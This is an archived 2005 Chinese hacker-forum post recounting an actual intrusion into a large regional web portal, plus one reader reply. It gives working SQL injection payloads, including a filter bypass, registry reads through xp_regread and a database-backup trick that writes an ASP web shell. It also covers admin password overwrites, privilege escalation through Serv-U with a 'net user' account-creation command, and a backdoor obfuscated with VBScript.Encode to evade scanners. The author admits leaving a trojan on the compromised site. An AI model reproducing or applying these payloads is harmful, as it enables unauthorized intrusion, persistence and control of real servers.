邪恶八进制信息安全团队技术讨论组's Archiver

exploit 2005-2-10 06:00

[转载]从入侵X海热线变起

来源:混客联盟[[url]www.71345.com[/url]]
作者:linzi
E-mail:chinaskyv@163.com


一个大的网站一般不会比一个小而精的网站难入侵,即使它是门户网站.

这些日子,我们一直在渗透大的网站,从coollcy拿下的X众游戏,到F.L.Y群兄弟一起拿下的众多热线

和几个门户网站,只能讲中国网络管理员的安全意识太差了,很多时候有待加强.

一次,我故意在我入侵成功后,在XX热线放一个非常明显的asp木马newmm.asp,可是过了一个月,那

个马还是在那里,汗...

写这篇文章一是给"交差",二是希望这篇文章可能让中国的一些管理员认识到网络安全的必要性.

                                                ------------------  linzi

1.踩点

  入侵这个网站之时,当时我还在深入学习注入,所以从一开始,就是找注入点,对于大的网站找注入

点比较好的方法是搜索源代码,关键字为asp?或者php?,很快就找到一个注入点.

  [url]www.xxx.com.cn/list.asp?id=1[/url](当然是假的)

2.注入

  id=1'   返回如下:

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'





字符串 '' 之前有未闭合的引号。





/agency.asp,行22

id=1 and 1=1

id=1 and 1=2

经典的注入点.有的时个磁到过滤空格,只要把空格换成/**/就可以了,如id=1 and 1=1可以换成

id=1/**/and/**/1=1,这方面网上的资料很多.

接下来就是用nbsi跑,注出发现权限是dbo_owner,对dbo_owner权限,以我个人的水平是无法保证

会成功的,不过,我还是先试一下backup a shell,因为backup a shell入侵要受到很多方面的影响.

下面我也会谈谈我个人在backup a shell入侵时的经验.

a:就是先暴绝对路径:

id=1;create table [dbo].[linzi] ([daya][char](255));--

id=1;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into linzi (daya) values(@result);--

再用nbsi跑出daya字段里的值,找到是c:\inetpub\wwwroot,从入侵经验上讲,跑出来的这个

路径不是真实的路径.这时用nbsi去他的盘去浏览,还是从入侵经验上讲,一般目录不会放在

c:\,所以我从d:\开始找,很快找到了路径d:\home,这时经验对于找路径的帮忙也是很大的,因为可

以省去很多的时间.

b:backup a shell

id=1;use linzi;backup database linzi to disk='d:\home\linzi.txt';--

这里我先把它备份一个linzi.txt,主要是为了查看linzi.txt里面有没有<%语句,和数据库的大小.

太大的话,你要删一些东西,当然,你还是要先做好备份,而如果有<%的话,你的选择可是把他的整个

都删了,再重建一个,当然这招我没试过,太狠了,是superhei这鸟人想出来的.(嘿嘿)

输完后,先是有点慢,然后又变快,说明成功了,打开网站[url]www.xxx.com/linzi.txt[/url]出现乱码,把他下载下

来后,发现数据库有点大,有几十M.汗.

用搜索,没发现有<%语句,从理论上讲有成功的希望,对于有<%的,你可以试着先加入容错语句,再

写和你的小马.开始backup a shell

id=1;use linzi;create table cmd (str image);insert into cmd(str) values (&#39;<%execute request("l")%>&#39;);backup database linzi to disk=&#39;d:\home\linzi.asp&#39;;--

返回正常,然后打开[url]www.xxx.com/linzi.asp[/url],发现不是乱码,而是白白的加点黑字,说明出错.

说明backup a shell失败,有的时候如果碰到数据库大的时候,想打开它都打开不了.

对于backup a shell失败,这时比较成熟的方法是找后台,然后在后台找上传点.

用nbsi找后台,终于找到[url]www.xxx.com/@admin@/login.asp[/url],再用nbsi跑密码,碰到加密的,你可以

试着用update改掉密码,在后台找到一个上传点,用上传工具,显示错误,很多时候手工比用工具要好

一些,所以我选择了手工,终于,手工+最后用nc提交终于成功,得到上传点后,就是提权了,一般情况

对于这些大的站,提权会比入侵容易多了.

还好里面有Serv-U,用个su.exe就可以提权成功,当然对于我来说,我个人并不喜欢先去开它的TS,而

是先传个反弹的木马,用木马控制比TS安全些,TS要重起.

这里,我给大家个提权的技巧,其实这个技巧在几个月前,我就写文章出来了,只是看的人没几个,很

多人没认真看.

3.提权技巧

大家在旁注的时候,有时会发现,找到了一个可执行目录,但是在shell下输入会发现还是没有回显.

这个时候我的方法是,(我以老兵木马为例,别的马一样)你把下面的cmd改成d:\home\su.exe "net

user linzi 123 /add"而在平时填入net user 等命令的地方,随便填一下东西,这个时候就会有回显

了.而且是会被执行的.

4.后门

  拿下系统权限后,就是后门,对于我个人来讲,我不喜欢放太大的后门,我喜欢放入网页木马后台.

当然,这里放的时候也是有学问的,要你放,最好能找到一个数据库,因为里面是乱码,比较好,

个人并不喜欢放图片木马,觉得图片木马不怎么好,我通常放的方法是,先把我要放的木马加密,

加密成乱码.如<%@ LANGUAGE = VBScript.Encode %>%#@~^FAAAAA==nX+^!YPD;!n/D`EVr#HQcAAA==^#~@%

这个乱码,其它就是<%execute request("l")%>这个小马,如果有数据库的话,再插入到数据库里

这样,就可以让那些找asp木马的工具见鬼去了.

上面的是一次普通的入侵,我想大部份的人的入侵方式和这个差不多,有的更多,因为我只是菜鸟.

太累了,先回家去睡,有空继续写,上面的看了几遍,觉得不怎么好.有空继续写,先拿去交差吧

菜白大 2005-2-10 10:01

呵呵,不错哦!
后台是怎么找到的???
你的后台字典加工得挺N

页: [1]
© 1999-2008 EvilOctal Security Team